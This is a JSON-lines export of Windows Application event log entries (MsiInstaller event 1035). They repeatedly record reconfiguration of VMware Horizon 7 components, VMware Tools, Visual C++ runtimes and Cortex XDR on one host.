{"@timestamp":1657397530481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170737}}
{"@timestamp":1657397530510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170738}}
{"@timestamp":1657397530541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170739}}
{"@timestamp":1657397530568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170740}}
{"@timestamp":1657397530596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170741}}
{"@timestamp":1657397530633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170742}}
{"@timestamp":1657397530661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170743}}
{"@timestamp":1657397590128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170744}}
{"@timestamp":1657397590156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170745}}
{"@timestamp":1657397590206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170746}}
{"@timestamp":1657397590245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170747}}
{"@timestamp":1657397590275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170748}}
{"@timestamp":1657397590306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170749}}
{"@timestamp":1657397590334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170750}}
{"@timestamp":1657397590360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170751}}
{"@timestamp":1657397590397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170752}}
{"@timestamp":1657397590425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170753}}
{"@timestamp":1657397650214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170754}}
{"@timestamp":1657397650240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170755}}
{"@timestamp":1657397650293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170756}}
{"@timestamp":1657397650332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170757}}
{"@timestamp":1657397650360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170758}}
{"@timestamp":1657397650390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170759}}
{"@timestamp":1657397650417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170760}}
{"@timestamp":1657397650444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170761}}
{"@timestamp":1657397650480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170762}}
{"@timestamp":1657397650508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170763}}
{"@timestamp":1657397710284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170764}}
{"@timestamp":1657397710310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170765}}
{"@timestamp":1657397710361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170766}}
{"@timestamp":1657397710425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170767}}
{"@timestamp":1657397710453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170768}}
{"@timestamp":1657397710483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170769}}
{"@timestamp":1657397710511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170770}}
{"@timestamp":1657397710537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170771}}
{"@timestamp":1657397710574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170772}}
{"@timestamp":1657397710601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170773}}
{"@timestamp":1657397770290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170774}}
{"@timestamp":1657397770317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170775}}
{"@timestamp":1657397770368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170776}}
{"@timestamp":1657397770408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170777}}
{"@timestamp":1657397770436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170778}}
{"@timestamp":1657397770466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170779}}
{"@timestamp":1657397770495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170780}}
{"@timestamp":1657397770521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170781}}
{"@timestamp":1657397770557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170782}}
{"@timestamp":1657397770585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170783}}
{"@timestamp":1657397830244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170784}}
{"@timestamp":1657397830272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170785}}
{"@timestamp":1657397830325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170786}}
{"@timestamp":1657397830365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170787}}
{"@timestamp":1657397830394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170788}}
{"@timestamp":1657397830424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170789}}
{"@timestamp":1657397830450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170790}}
{"@timestamp":1657397830475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170791}}
{"@timestamp":1657397830511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170792}}
{"@timestamp":1657397830538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170793}}
{"@timestamp":1657397890225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170794}}
{"@timestamp":1657397890253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170795}}
{"@timestamp":1657397890302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170796}}
{"@timestamp":1657397890343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170797}}
{"@timestamp":1657397890371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170798}}
{"@timestamp":1657397890401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170799}}
{"@timestamp":1657397890428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170800}}
{"@timestamp":1657397890454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170801}}
{"@timestamp":1657397890490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170802}}
